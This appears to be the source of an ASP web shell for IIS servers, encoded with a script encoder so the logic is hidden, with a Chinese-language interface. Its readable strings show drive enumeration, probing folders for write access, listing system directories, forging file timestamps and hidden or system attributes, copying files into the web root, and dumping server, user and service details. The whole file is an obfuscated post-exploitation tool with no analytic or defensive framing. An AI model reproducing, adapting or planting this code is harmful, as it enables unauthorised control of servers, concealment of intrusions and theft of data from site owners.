m"2b:364N2;YcJ)9}f$R;Gx +^ObWxEb@#@&7dkn:PCGr1bYmV}LP{Pd+M.n]cZICYArAN3^YvJzf6( /mYCVKLJ*@#@&7iZWUHkY]P{~rn.K\bN+M'trmMWdW6Y BYR}J2GARW Ti,fmYCPjG!D^+{EPLPdnM\2. sbKwmP_`E_5:Wwc:98J*@#@&dib9G1bYmJWTRm"n)KP;WHxdP"@#@&di/Wg1 6h+x~^KxH/:.@#@&7iZ}1xc2o3m!Y3`rZ.nmY+,Pl(V+,orVfmYC`([,kUY,(fA1P(:5`TS8#~n"(tb]IPn25,Zdi?:2]2G~~O4+nmOt,.lM/4lM~,0rVn/KxO+ OP&:CL#Jb@#@&d7?:.Abhcrh2x@#@&i7/DDnltRPza2P{~F@#@&di.jR}nA1~Jor^+9lDCJBP^6 x~~fBPf@#@&7iqW,IpEA/:cJDtnHY4G9J#,xPr0/KE~Y4+g@#@&d77w/6KM326W.\GAPO4wCK_S,IdBPkKDAbs@#@&id~+d?3@#@&ddijb:D2WGDtf~POt32zKu~,]/BPjPM2bh@#@&d7+ 9,qo@#@&idDkR;sWk2@#@&id^Gg1R;JWU2@#@&77/DIAl\R/JK/3@#@&7dU+O~M/Px~grPt&UV@#@&idk+Y,ZKUx,'~xKY4(go@#@&7dk2K,dOIlsPxPH6:trxV@#@&idj3DPb[61bOl^GVPx,x}KC&xT@#@&i2UN,?;8@#@&@#@&jE(Pb99OrsN~`OtnKmY4#@#@&diWH~IIG],In/`\PUA(D@#@&idGrH,Dd~,Z6Hg~PkPDAl:B~^W 1UY.~~)GW^lD)SKo@#@&id?3O,DjP{~U2]j2"RmM2zO2}AB+;KcEzfrG$R"+mK.[?Yr#@#@&77k+PPkPDAb\~{P?n.j+.R;.bOAW~L2;KvEbGr9Ac?O.l:rb@#@&ddknPP;r 1~'~dI#2M m"2)PAr4%3;YcJz9}f$cZKxxmDrW Jb@#@&d7dKPm9r1bYms6o,',/nD#n"R/ICYAr$%AmYcEzf6(c/mYC^WTJ#@#@&i7ZKxH/DI~x,JnMG\bN+Mx\k1DK/G0O x+OR}J2GA *c!i~9mYCPUG!D^'rP[,/.\AD :zn2C:C`ru5:Wwch[4r#@#@&7d)9Km)YmJWTR^]bKn~;WHxkP"@#@&id;W1gR}K+ P^W 1dPM@#@&i7Z}1xc3p21ED2cJ/.lO+,Pl(Vn~wkVn9mYC`&[,kUDP&f2gK&P5v!SF*PK]&Hb"ePn25,/JjUKAI3fS~DtnnmOt,.C.;tl.S,0rV/KxOxDPqslTn#r#@#@&idjPM2bs rh2x@#@&7dkYM+CH PHw3P{~F@#@&77M?R6KA1~Jwr^+9mYmJ~,m}UxBPf~,&@#@&idq6~IpEAdP`rY4+\+O4KNE#,xPr0dGrPY4ng@#@&di7w/6:DA20KDt9A,Y4+alPuBPIkSPkKDA)h@#@&diPnSj3@#@&7dijb:D3n6WD\9~POtA2zKuBP"/~,?:.2z:@#@&idnUGPqw@#@&idDk /VK/A@#@&d7^K1HR;JWU2@#@&id/O]Al\R;JK/3@#@&id?Y,./,'~1}K4( M@#@&7dk+Y,/Gx P{PUWO4&1L@#@&7dk2P~kYInCsPxPg6:tr M@#@&di?AOPzN6mzYCsKMP{~x}KC&UL@#@&dAx[Pj;(@#@&d@#@&/`4~/M+lOnwWsNA]vK4nmYt*@#@&7dGq\Pb@#@&7iqP{~k /Y"cPtwmY4~~E'Jb@#@&7dGW~A4qSn~&P@*PZ@#@&d7ikwP0Uro sKS92"2a(kY/vJ26Y`:u3nmK_~~kbb,'~0mJ/PP41@#@&7id70UGXR/M+mY2wrd92M`s26YcP_+nmOCBPq,R~F*#@#@&7d7n N~q6@#@&id7(wPqHj:Ic:b[vKunzYtBPb~_,Fb~,JwE*PY_31@#@&di77k,',k~_~(g/PDvhk9`P4nlP4BPrP3~8#S,J'J#@#@&i7d,2J?@#@&7iddb~',!@#@&77d1GP(0@#@&idJr}K@#@&dnHGP/i$@#@&7@#@&7kj$,?zYD26GDtN$`DtnKmKtB~Dk~PUP]2m:*@#@&d7[bH~k:nHBPOuAsrs9AISPUzUsr^2dq/:@#@&7dU5j0bVnsb?Y,xPr^CIPGwc:94yCePKw V98^r@#@&7i?+P~Dt30KJ92.,',/boRg)H?Kl;+cO4+wmOt*@#@&i7WWMPl/C~r:2hPbUPDCnoKVNn]ckO+tj@#@&7id&0P&YAhR&?oWdfn],'P:]jPY_nU@#@&did7?COM230K]HGA~rD2: KmYu~,.k~~UYM+ls@#@&7diPnVU+@#@&iddirs,k1UP.`U5ksrV3J&/P~,E^rP'~&Y2h l\2,',Jyr#,@!',!,OC1@#@&id77iD/c)N91+S@#@&didid./cEDtnnmOtr#~x,Hq9c&KnHcKmYuBPW#@#@&di7di/PDAbh dWl9WDKH0bJn`&KAH n)P_#@#@&i7did]jvJ0rsZGxDn YE*P{P/:IA)HcD3lG`b@#@&ddi7dM/R!K9l:2@#@&7d77x9Pbo@#@&d77xf~(6@#@&diH(P@#@&id/K,Ot0GSG+]~{P1KPC&1o@#@&72gf,?iA@#@&@#@&@#@&U;4,HndklonckYCYSs/LB0^lo*@#@&]+kwGxk+ MkY~J@!Kb~J3PSk9Y4'*0ZP8WM[+M'T~mVkLU{mnxDnMP^V^wl9NbUo{!~mVsdalmbUo{FP(L^W^WM':,q[F![@*r@#@&"+d2Kx/n qDrY~rP~@!K"@*J@#@&"n/aWU/R .bY+,EP,PP@!P9P1Vm/d'P$_+CN@*系统信息@!z:f@*E@#@&IndaWU/ qDrD+,JP,@!JPI@*J@#@&"+d2Kx/ MkY~EP,@!:I@*J@#@&"+dwKU/R .bY+~E,P~P@!PGPC^kTx'sk9[VP8o1WsGM'a^01mN@*E@#@&"+kwGxdnc.kDnPrd~~@!Kb$JAPAk9O4'0y],4WMN.'ZP^+^V2C9Nk L'lPmss/al1kUoxT@*J@#@&"n/aWUdR.rD+~Ji~,P~@!K"@*J@#@&"n/aWU/R .bY+,EdiPP@!P9@*@!s}1PP^G^W.'MnN@*J@#@&"+/2G /nRq.bYn,/DlY@#@&]+kwGxk+ MkY~J@!zs}HP@*@!z:f@*J@#@&"+dwKU/R .bY+~Eid@!K"@*r@#@&"+kwW / MkO+,J77,P@!:9@*@!n@*r@#@&I/aWU/n qDrY~:ko@#@&"+/2G /nRq.bYn,J@!zn@*@!JPf@*J@#@&"+d2Kx/ MkY~Edi@!JK]@*E@#@&In/aGxk+ MkYn~rd~P@!&:b$d2@*J@#@&IdwKxd+c.rD+Pr7@!JKf@*E@#@&"+kwGxdnc.kDnPrP~@!JKI@*E@#@&]+k2KxdRqDkD+,EP,@!PI@*J@#@&"+/aGxk+Rq.rYPrP~P~@!:f~m^C/k'P$AxN@*E@#@&]+k2KxdRqDkD+,Edr@#@&q6PWsmo'Z~K4+x@#@&]+kwKxd+ MkO+,Ed,P~~,P@!(HhjPPDza+x(EDYW P7CV!+x关闭PKx^sbm3{EJSkx9GAR1VK/n`bIrJ@*J@#@&I/2G /+ MkO+,EiJ@#@&2^/+@#@&"n/aWU/R .bY+,Ed,PP,~~@!&1hjPPOza+x4!OYKx~-mVEnx返回,WUZ^r13xrJ4k/DWMzRTWcO8#IEr@*J@#@&I/wKUd+cMkO+~EiJ@#@&AUN,kW@#@&I+d2Kxd+c MkOPrd@!JKG@*J@#@&]+kwGUk+Rq.kD+Pr~~@!JK"@*E@#@&]/2W d+c.rD+PE@!JK)Ad3@*J@#@&2 NPUE(@#@&@#@&oE mOrKxP"nNv/YMb@#@&"+9PxPE@!wrHK,^W^W.x[00++y @*J,',/OMPLPJ@!zw61:@*E@#@&2U[,sE ^YbWx@#@&jE(PUmCx9.b\nsK.:v#~v扫描磁盘信息@#@&frh,sjrB9Mk-A@#@&?Y,o?}PxPU+.-DR;.+mY+K8%+1YvJjm.raYrxT sbVnjH/Ynh}4%+1Or#@#@&I/wKxknRqDrYPE@!:bAd3PSkND4xcR!,4GD[nM'TPmskTxx^xYn.,mnV^2mN[bxT'&,msVkwCmbxLx8P4T/W^WD{:1F9GZN@*J@#@&"+dwKU/R .bY+~E,P@!K"@*r@#@&"+kwW / MkO+,J~~,P@!:9P1WVk2Cx{*,msldd{K$CCN@*磁盘z系统文件夹信息@!&:f@*E@#@&In/aG /ncMkYPr~P@!zPI@*J@#@&wWD,3l1tPG.r\A,kUPoj}R9Db-+k@#@&]/wGUk+ MrD+~rP,@!K"PmskTxx:bN[sPm^C/k'K~P9@*r@#@&In/2G /nRq.kD+~E,PP~@!wr]H,C1YrKx{J@#@&IdwKxd+c.rD+Pr_b1YkKUx?1l f.k-nLf.k7n'r@#@&]/wGUk+ MrD+~GDb\+~RG.k7+J+DYn.@#@&DdwKx/ ADbYPEPhnDtGN{KWkY@*E@#@&DndaWU/ SDrD+,J@!:f,Ak9Y4'y*E'1tDvfG*[J@*@!$@*盘符@!z~@*@!zP9@*J@#@&Mn/aWUdRh.rD+~J@!PGPAbNDt'8*r'm4Dc&F#'E@*J@#@&.+kwW dnRSDbYnP9.b\nAc9Db\nJYYn.@#@&.+k2KxdRSDkD+,E)@!zPf@*J@#@&M+/aGxk+RS.rYPrd@!K9~Sk[Y4x ZJ'^4D`f{*[E@*@!$@*类型@!&~@*@!zKG@*r@#@&M+dwKxdnchDbO+,Jd@!P9PSk9Y4'+Tr[^tMc&F#'E@*J@#@&jVnmD~;ldPGDk7+~ fMk-+:X2n@#@&Zmd+,F),]n/aW /nRA.bYnPr可移动E@#@&ZCdP l~"+dwKUk+ SDbY+,J本地硬盘r@#@&;ld+,&l~"+/aGxk+RS.rYPr网络磁盘J@#@&/Ck+~c=~I/2G /+ AMkO+,E;fR"rtJ@#@&Zmd+,*lP"+d2Kx/ hMkY~EIzH磁盘r@#@&ZCdPnVkn),IndaWxdnch.kDn,J未知类型E@#@&AxN,?s+1Y@#@&"+d2Kx/ MkY~Ed@!z:f@*J@#@&"+dwKU/R .bY+~Ei@!Pf@*@!&1K`K,YXa+{dE(:rY,\Cs!+'详细报告@*@!z:f@*r@#@&I/aWU/n qDrY~Ji@!&o}IH@*E@#@&]+k2KxdRqDkD+,EP,@!&K"@*E@#@&1+XO@#@&I+k2Gxk+c.kOn,J~P@!PI,msCk/'P$:f@*J@#@&"+daW /+cMrYPEP,P~@!wrIt~l1YkKUxJ@#@&"+dwGUk+ MrYPE_zmYrG 'jmwG^NnM[wWV9+MxJ@#@&]+kwGUk+Rq.kD+Pwj6RV+D?2+^rmVoW^[+M`Tb@#@&IndaWU/ qDrD+,JPs+D4W9'KWkY@*7iPPr@#@&"+/aGU/RqDrYn~rd@!KG~l^kLU{:k[[^+@*@!~@*qkU9WS/文件夹@!JA@*@!z:f@*J@#@&]nkwW d+cDbOnPrd@!K9P^G^/2l x&@*J@#@&"+/2G /nRq.bYn,sUrRV+Djwmrl^sGs9+DvT#@#@&Id2W /R DrOPE@!JPf@*J@#@&"+/2G /nRq.bYn,Ji@!KGPmskTxx:bN[s@*@!&Hn`KPDz2+{/!4hkO~7lsEx详细报告@*@!zP9@*J@#@&]/2W dR MkD+Prd@!&s}I\@*r@#@&]/wKU/RMrO+,J,P@!zP]@*J@#@&"n/aWUdR.rD+~J,~@!K],m^l/k':$KG@*E@#@&IndaWxknRqDkDn~J,P,P@!s6]tPCmDrW 'E@#@&I+d2Kxd+c MkOPrgb1YbGx{?^sKV[nM[sKsND'r@#@&I/aWU/n qDrY~sUr !Y?2n1kCVwG^NnM`8#@#@&IdwKxd+c.rD+Pr~:YtK[xnK/D@*7d~~r@#@&IdwKxdncDrOPEd@!PGPC^kTx'sk9[V@*@!A@*?zdD+:2+文件夹@!JA@*@!&Pf@*J@#@&]+d2Kxd+c DbYn~rd@!P9,mGVk2mxx2@*r@#@&"+k2W /nRqDrOPsU6RV+YU2nmbl^sGV[nM`q#@#@&I/2G /+ MkO+,E@!zPG@*r@#@&"+k2W /nRqDrOPJi@!KGPl^rLx{:bN[Vn@*@!qHn`PPDX2n{/E8hbY~\ms!+x详细报告@*@!JKf@*J@#@&I/2W /n qDkDnPrd@!Jo6It@*r@#@&IndaWU/ MkOn,JP~@!JK]@*r@#@&InkwKx/Rq.kD+~J,P@!P"Pm^C/k'K~P9@*r@#@&In/2G /nRq.kD+~E,PP~@!wr]H,C1YrKx{J@#@&IdwKxd+c.rD+Pr_b1YkKUx?1sKV[+.'wWsN.'r@#@&]/wGUk+ MrD+~w?}RMYU2+1kCVwWs[D`yb@#@&I+k2Gxk+c.kOn,J~:OtKNxKK/Y@*7iP~J@#@&"+daW /+cMrYPEd@!K9~mVkTU'skN9sn@*@!A@*系统临时文件夹@!&A@*@!JK9@*r@#@&"+d2Kx/n qDrY~rd@!:f,mW^/aCx{&@*J@#@&]nkwW d+cDbOnPw?}R!+Oja+^kmssKV[nM` b@#@&In/aG /ncMkYPr@!z:f@*J@#@&]nkwW d+cDbOnPrd@!K9PCsboU'srN9Vn@*@!q1Ki:POXan{/;(:bYP7l^;+{详细报告@*@!z:f@*E@#@&IdwKx/ DbYPEd@!&wr]H@*E@#@&IndaWxdnc.kDn,J~,@!JKI@*J@#@&I/2W /n qDkDnPr@!z:)$SA@*@!A]@*E@#@&In/aGxk+ MkYn~r@!9qj~mVrTx{m+ Y.@*r@#@&I/2G /+c DbY+,E~P@!s}I\P)^DkGx{E@#@&IndaWxdnc.kDn,J_zmDkW 'U^sKV[+MPhnDtW9xnK/Y@*指定文件夹查询:E@#@&"+kwGxdnc.kDnPrP~~,@!qHK`K~YH2'O6DPxm:xsKV[+M@*E@#@&I+k2W /+c .kD+,J7@!(HhjPPDzw'd;(:kO~7lsEx生成报告@* 指定文件夹路径。如:Zl'bUn-r@#@&]+kwGxk+ MkY~J,P@!Jo6It@*r@#@&IndaWU/ MkOn,J@!9(j@*E@#@&jY~w?}'1KY4rxT@#@&2 N~j!4@#@&jE(P?1CUfMk7+cf.r7+bPE扫描指定磁盘@#@&Gkh~w?rSP/OfMr7+S~lk+sKV9nDBKn:asGs9+DkSK:w|jODBf@#@&(0~9Mk-+,@!@*,JE~:t+U@#@&?nY,oUr~{PU+D7+M ZM+CYW8%mYvE?1DkaOrxTRwks+jzkYn:}8LmOE*@#@&jnDPP+kOGDr7+,'Pw?} MY9Db\ncGDk7n#@#@&q6~P+kYGDr\n &/]+m[X,K4n @#@&Pnswm?D.,'~r@!dq@*磁盘分区类型:rPL~INcK/O9Mk\ sbV+UzdY:*P'PE@!dq@*磁盘序列号:J,'P"+[c:+/O9Mk-+cjDrmVgE:(+MbPLPE@!dq@*磁盘共享名:E,[P"nNvK+kO9Db\RjtC.1C:bPLPE@!dq@*磁盘总容量:E~LP]+9c;qUD`:+/DfMr\RPWDlsjby+Jq!W%*Fb#,[,J@!S(@*磁盘卷名:rP'P"nNvKndDfDr-R#W^;s+Hm:#PLPr@!S&@*磁盘根目录lJ,[~j1I+q.`vfDb-nPLPr)wJbb@#@&j+D~Am/noKVNn.,'~KdDf.b\RIKWDoW^NnD@#@&jnDPKhwwWV9n./,',AC/noKV[+M ?!4oG^N+.d@#@&oWM~Al^4PGPk P:n:asGV9+.d@#@&Khw|?YM~xP:+swm?O.,[~J@!Jq@*文件夹:J~',?m]nqDcf*@#@&1nXY@#@&?Y,P+swoW^Nn.,'PgGY4kxT@#@&?Y,AC/noKV[+M~',1GO4kxL@#@&2s/@#@&Knsw|?YMP{~K:2{UY.~LPJ@!Jq@*磁盘根目录)J,'~INvJ不可读l`Eb@#@&9ks~K:2oKVNn.dkdYBO=YxZ@#@&K+sw|jYMPxP:+h2|?YM~[,J@!d(@*J,[,InNcE穷举目录测试:r#@#@&:n:asGs9+DJrkY~',)MDCH`rhk NKA/r~EhbxUOr~JSrxr~JSrU Z!ZJSJAr ,0JBEh4ESrhkUhJSJSr NGS/y!!ZJBElkwE~rw42r~J:GW^/JBE9W1Es+UYd~mx[PUnYDkULkJ~EKMWLDmh,sr^+kJ~rq nYaE8JBJWOaJ~rA:aE4rSEY6YaJb@#@&oKD~k,xPZPOG,j4G; NcKhasG^NDSb/Db@#@&qWPw?6 wWV9nDA6kkOd`GDb\nP'~r)wJ,'P:+h2wWV[nMSr/Dcb#b,K4+x@#@&D~',YQF@#@&Pnsw{UOD,'P:nhw|?DD~[~E@!S(@*发现文件夹:r~[,?^]Dc9Mk-+,',Jl'J,[P:+s2sKV[+MSrdD`k*b@#@&2x9~r0@#@&g+aY@#@&&0~Y{TPDtnU,K+h2|?OD,x,Knsw|?YMPL~J@!S(@*已穷举rP'~GDk7nPLPJ盘根目录,但未有发现=cE@#@&2 N~kW@#@&?nY,P+kY9.b\+~x,1GY4r o@#@&?YPw?}~',1GY4kUL@#@&Khw|?YM~xP:+swm?O.,[~J@!Jq@*注意:J~',I+[cr不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件"E#@#@&t+dklT+PGDb-+,[~J=磁盘信息JSP:w|jYM~F@#@&3x9Pb0@#@&3U9PjE(@#@&@#@&j;(P?^oKV[+Mc6Ws9+M#P@#@&}UPAD.WMP]nkE:~16Y@#@&9ksPw?6~6oKV[+MSK:2oKVNn.B?^:kLB?@#@&?YPw?}~',?nD7+. ;D+mO+K4L^O`r?1DrwOr o sbs+UXdO:r8%mOJ*@#@&qW,sUrRwW^[+M2akkYdc6WV9nD*PK4nU@#@&?Y~roG^NnD,xPw?6 V+YoG^NnDvWKV[D*@#@&U+D~K:2sKV[nM/P{~rwWV9n.RUE(sGV[nM/@#@&U^:ko~x,J@!J(@*指定文件夹根目录:J~[,j1InqDv0W^N.#@#@&oWMP3C1tPU~k PKh2sKV9+./@#@&Umh/T~',?^hko[E@!dq@*文件夹:J,',?^"+qD`U#,~@#@&1n6D@#@&jYP:n:asW^[nDkP{PHWO4bxL@#@&j+DP6oKVNn.,'~1KO4kUT@#@&2Vk+@#@&?1:do,'~j1:/T~[,J@!d(@*文件夹:J,[,InNcWKV[+M~[,J不存在或无读权限ZE*@#@&3U9Pr0@#@&Umhko,'PUmsdo,[~J@!S(@*注意:rP[,]+9`J不要多次刷新本页面,否则在只写文件夹会留下大量垃圾文件eEb@#@&?Y~sj6,'~1KOtbxL@#@&dHndklL+,E文件夹信息r~j1:ko~8@#@&3x9PjE(@#@&@#@&sE ^YbWx,j^IM`WWs[DbP,~B8R可读S不可写。+c不可读~可写。& 可读S可写。WR不可读S不可写。@#@&6 P3MDKDP"+k;:PH+XY@#@&Gk:,o?}~KdOsKV9+.~PnkYok^nSb/OS"+.jDDSI [wksxm:+@#@&UnY,sjr,'~jD\.R;D+mOnW(LmO`Ej1DrwDrxTRor^+?zdD+hr(%mOr#@#@&?Y,P+kYoW^Nn.,'PwjrcM+DoGV9+M`WWs[Db@#@&j+DPPnkYsrsSr/D~{PP/DsW^N.RUE8sKV[nM/@#@&]x9sk^nUls+,'~JwO:2J,'PGlzc Whb~LPuW!.vxGS#,[Ptk ;Y`UWS#~',?+1Gx9`xKAbPLPrRO:2E@#@&oWM~2mm4~zPkU~:+dYwr^+Jb/D@#@&g+XO@#@&qWPD.~:t+ @#@&DDc/s+mD@#@&]+ .UY.P{~0KV[nMP[~E@!s61:~1WsKD{a06 y+ @*P不可读SJ@#@&oj}RZMnlD+KaOsbVPWWs[D~[,]x9srsxlhnBK.E@#@&qW,+MDP:tU@#@&+.DcZsnmD@#@&]+qD?D.~',I.?O.,[~J不可写。@!&s}1P@*r@#@&3sk+@#@&"nqDjDD,'P"+q.?DD~[,J可写。@!&wr1:@*J@#@&sU6 fVYnsrsPWW^[+MP'~"xNor^+UlsnBK.!+@#@&2 N,(0@#@&3Vk+@#@&"+MjYMP',WGV9+MP'PE@!wrHK,^W^W.x[00++y @*P可读BE@#@&oUrcZDlDnK6OsbVn~6WV9nD,[P"U[sbVxC:nS:D;+@#@&q6Pn.MPK4n @#@&+M.cZslM@#@&"+q.?DD~',In M?YM~[,J不可写。@!Jo61:@*r@#@&2sd@#@&I DUY.~{PIn M?OD,',J可写。@!Js}1K@*J@#@&sUr fVnOsk^nP6WV9n.PLP"x[srsxC:SKMEn@#@&2x[~b0@#@&AU9Pr6@#@&?+DP:n/DsrVSrdDP',HWDtk L@#@&U+DPP+dOwWsN.P{PHGDtkUL@#@&j+D~w?6,',1WDtbUo@#@&jm"+ .,'P"nM?YM@#@&2 N,s;x^ObWU@#@&@#@&@#@&d;(P?nOwks+:nXYc*@#@&NksPhCY4~ok^+HCs+~gnh:k:Sjt!(bxL@#@&dY~wmOt{Dn5!+/O wW.:vEalO4Fr#@#@&/OP6ks+glhn{D+$;+kYRwG.:vJ6ks+UCs+E#@#@&/Y~UhKrh'.+$;/OcsKD:vJDr:Jb@#@&/nO,?t!pk o'Mn5E/DRoW.hvJdt!ak oEb@#@&I]j,J@!0K.sPhY4WN{wKdY@*J@#@&"Ij~r@!mUYD@*路LU8/aiLx8/2ILx8/aI[ 4d2p径:@!kU2!Y~xmh'valDtFEP7CV!+xBr[ qIr}P[rBPkr"+{B+!v@*c一定要以w结尾*@!8DJ@*J@#@&]]UPJ'U(/2i文件名称:@!r w;DP l:'6rVxC:P-C^E+{vk N+X C/aB,/rynxEvTB@*c要修改的文件名#@!4.&@*J@#@&]"?~JLU(/2p[ 4/aiLU4kwI修改时间:@!bx2;DPxmh+{Yksn~\mV!+xBq+J qzyTFyP+f=*,lXOB~/b"'v+!E@*[ 4k2i月J日z年~时)分=秒@!8.J@*J@#@&I"?Pr@!d+^+1Y~WU/4lUoxBDtrdc0W.hc/4EXr o 7l^E+{Y4r/c\CV!+Iv@*J@#@&]IUPJ@!G2YbW P-ls;'vB@*普通~@!JW2ObWx@*E@#@&]IU~r@!GaYbWx,\msE'vFE@*只读~@!JWwDrW @*J@#@&]IUPr@!GwOrKx~\msE'v+E@*隐藏P@!&KwOkKU@*J@#@&I"?Pr@!K2YbWUP7ls;'BWv@*系统@!zWaOrW @*r@#@&I]j,J@!WaOkKx~-mVEnxE&fB@*只读S存档,@!&KwDkW @*r@#@&"IjPr@!G2DkW ~\mVExv&WB@*隐藏~存档~@!&GaYrW @*J@#@&]]UPJ@!GaYrW ~7ls!+{B&lB@*只读隐藏S存档P@!zGwDkGU@*J@#@&]IUPJ@!G2YbW P-ls;'v&Ov@*只读隐藏B存档~系统~@!JWwOrKx@*J@#@&"Ij,J修改,属性:@!k w!OP lh+{/4;XkxT~\mVExv!EPkk"+xvW!v@*@!8DJ@*E@#@&IIj~r@!rxa;DPOHw'/!4srY,\CV!+x修改@*r@#@&"]?,J@!JWGDs@*r@#@&kWc,`s+ cwmY4b@*!#CU9`s+ c6ks1m:+*@*Zbl NcVxcUhKbh+*@*!*~bY4+ @#@&?nO,0dW{j+M\n.cZDnCD+64Nn1YcK4D`!B!*b@#@&?nY,0rs'0kGRT+Ywrs+vwmY4[Wr^+Hlsn#@#@&Wr^+RCODDr4!O/xUt!(k o@#@&?Y~/4+ss{?+M-+MRZMnCYr(LnmOcr?4+^sRzw2sbmlOrKxE#@#@&U+O,law{alD4'ktnV^RHCs+?aCm`/.-+MRsl2wCO4`ERrb#@#@&jnDPl22|0rVxmw2|wmYtcnm./1C:`Wr^+1mh+*@#@&m22{6k^+ HG[b0zNmO+{xnA:k:n@#@&I]?,E@!z8M@*@!z4M@*修改文件LU4kwI[ 4d2pJ[aCY4[0bsn1m:[E[U8kwI[ 8/ai属性完成~@!Jm+UOD@*J@#@&x[,k6@#@&x9~/!4@#@&Kx~nMDWM~D/Esn~x6D@#@&/nO,0dW{d+M\n.cmDnCD+G4Nn1Ycr/1DkaYbUoc0rV/zdD+:K8LmYrb~@#@&0bVnwCO4'd+M-+MRhCawlO4vj]S*@#@&?nDP6/W,',/DlO+}4%n1Y`rjmMkwDrUocsbVn?zdD+hr(%+1YEb@#@&0dGcZ.+mOsG^NDPU+M-+MR\lawCO4`J'r:mo+kwE#@#@&Dl.onOalOt{cJ'- wr[?n.7+.RtCawCDtvJ-b:mL+k-swDF CkwJ*b@#@&0/K ^WaX6ks+~WbVnwmOtBYC.T+Y2CDtSYM;P@#@&W P+MDK.PM+dEs+~U6Y@#@&?YP6xW/KRV+Osrs`E-' -r[jnM\+. tl2wmO4`E'kslo/'swDF lkwEb*@#@&bWP,0RmOODb4!Yn/~@!@*Pf,,Otx@#@&6RlOOMk8EDnkPx,&O@#@&x9~k6@#@&sKEO ;VWkn@#@&?+D~oW!Y,'~1GO4kUo@#@&?Y~okWPx~gWOtbUT@#@&Kx,+DMWM~D/;:PUnXY@#@&oE mYbGUP;W!Dd+cb@#@&jtbjl 'E╋╋╁@*V4COJ@!╁' bdLF(k[Zk?Lkk~?MI╋O6Ax╋Wr,Nx╋╁@*DDz@!@*[Oz@!@*DxG0&@!╁LCObh L~r'╁Ia/4U'@*so,Of2axMW^Wm,Y G0@!T╁'6d[╁l型类动启,@*╁╁ ╁╁' CwkVW1~╁╁+ WAA2:╁╁'.G^W^o(~╁╁!y╁╁'O4Tk+4~9Y@!@*MO@!╁[ntlg5b^wkrfcL$WL╁i2d(x[@*╁╁+ WA2A:╁╁xDKVKmL4~╁╁Ty╁╁'OtTr+4P[O@!@*NO&@!╁[n:zHcL8K[╁pw/(xL@*╁╁ yc$2Aa╁╁x.KVW1L4,╁╁! ╁╁{O4ob+4P[Y@!@*MY@!╁[y(/{ rd╋A?S3╋╁@*MY&@!@*[Dz@!@*Y W0J@!╁L4Kzn 9(r'╁Ia/4 '@*Z!!Zooa{DKVGm~O WW@!Y╁'6d[╁l型类动启,@*╁╁ ╁╁'UCa/sW1~╁╁y *~2Aa╁╁'MW^GmT4~╁╁!y╁╁'O4Tk+4~ND@!@*MO@!╁[:m1elsKUq9RN$rL╁i2d(x[@*╁╁+yc$2A:╁╁{DG^W1o4,╁╁!y╁╁xY4or+4P[O@!@*ND&@!╁L2HzH L(WL╁i2/8UL@*╁╁+ W$2Aa╁╁x.KVW^L(P╁╁T ╁╁{O4ort,NY@!@*MO@!╁LFr/{Frj╋g+CD~ {+wIOODmKURB4G~Gx)P╁ rh╁@*@!bb2~cS4Db2RN8K`[b:v+?mZd~sb╋╁用禁╁'pS,134DPc{3wIYKMCO?cL(W~s(╋╁动手╁xoS~1AuY,&xnhXKP]zYjRN$KPo&╋╁动自╁'XVPg24OPy'nwHYP.zY?c%AKPsb╋WrPGxA╋P╁@*DO&@!@*[YJ@!ia/8UL@*╁╁ ╁╁xUmwdVK^,╁╁ +WAA2a╁╁{DKsW1o8P╁╁Z ╁╁xO4ok4P9Y@!@*.O@!╁{!b?╋╁@*DO&@!@*[YJ@!╁[b?xrk╋╁#组`户用统系╁'(U'r/╋,╁Ia/8 [@*╁╁ WAA3a╁╁{DGVKmL8,NY@!@*NDz@!╁L(d'&/╋AHCx %(r'kkxkk╋╁i2d(x[@*╁╁+yc$2A:╁╁{DG^W1o4,╁╁!y╁╁xY4or+4P[O@!╁[qUxkU╋╁@*DD@!╁'qU'&/╋H+uP,╁╁'nwIPYMbPjc946~6q╋]bAs1R.M2╋*╁RzJ):Hxb╁cY;+B$KK+T~xbP9(G~t;bP.Wo╋Po2HPhjU+.~"WI.n,xG╋╁@*MOJ@!@*9YJ@!务服与户用统系@*EE n:E'.W^W^L(PBMnY +mExUobVmPv&vx l2/^Gm,BT+E'Y4Lb+4P9O@!@*.D@!╁Lk?{qU╋╁@*BM+Oxmvx ok^CPE!B{LUk9NmwsVn^,BqB{LxbmC2kVVn^,BTB{.N.K4,BE +sv'MWsW1o8~E!!+v'4YNbA~+^4mY@!@*.8@!╁'r/r@#@&A6n/!K+cj4kjl o!xcUtb?l #*@#@&A1[PwEU^DkW @#@&wEx1OrW PU+.\n.&xWWvb@#@&?4rUlxxE╋╋&?~/"]╋D(3g╋╁@*MYz@!@*9Oz@!╁[b BkcP(W[╁@*O0V' LrVmPE +c$3Aav'MGVKmL8,NY@!@*9Y&@!╁Lb8~rvK~W[╁@*By+c~23aE'.G^WmT8P9Y@!@*[Oz@!╁[*!SqcO~W'╁@*E+ WA33[B'.G^W^o(~E!TyB{tY9kS~BZ v'DtLrtP9O@!@*BDOU+1B{xLksC,DO@!╁L(?{qj╋f8PrP~Z'rP"66╋╁@*.Dz@!@*NDz@!╁'#╁AI):s6j|I2j]2U╁`/s$l&Dz\.2-]A/ KknE5+]'╁@*B +*~23aExMWsKmT4P9Y@!@*NDz@!ia/8UL@*By+c~22[vxDKVKmL4~[D@!@*ND&@!本版器务服~2 @*E *$A2:B{.KVG1o(PBZ!yv'4Y[kSPvTyB'D4ob+t,[O@!@*BM+Oxn^E'Uobsl,DO@!╁Lq?xrU╋╁@*.YJ@!@*NOJ@!╁L#╁?}╁`UnV~l(Iz\.n7I2k Yk2E$3][╁@*By *A33[BxDKsW1o8~9Y@!@*[Dz@!iad(x'@*By c~2A:B{DGVKmL8,NY@!@*NDz@!统系作操器务服@*v+ WAA2:Bx.KVGmT8PE!T+E'tO[bh~BZ+E'O4ob+t,ND@!@*EDnY +^v{xobsl,DY@!╁'r/{kU╋╁@*.Y&@!@*NOz@!╁'#╁UI6jU2Z6]h{or|]AA\`1╁v/+^Az(Im.]+jI3dcY?Ai;AI[╁@*v+ WAA2:Bx.KVGmT8P9Y@!@*9Yz@!Ia/8xL@*E +WAA2aE'MGVKmL4,NO@!@*NYJ@!量数jhZ器务服@*E++c~2Aav'.G^W^o(~BZ!+v{tY[rSPv!yv{Y4TktP9Y@!@*BM+Oxmvx ok^CPMY@!╁Lrd'&/╋╁@*DOz@!@*9Y&@!p2/(x'╁'qr1'╁@*E +c~3Aav{DKVW1o(~ND@!@*NDz@!Ia/4 '@*E W$32[B{DGVG^T4~ND@!@*9Y&@!间时器务服@*B +*~23aExMWsKmT4PE!Z+B{tONbh~vZ 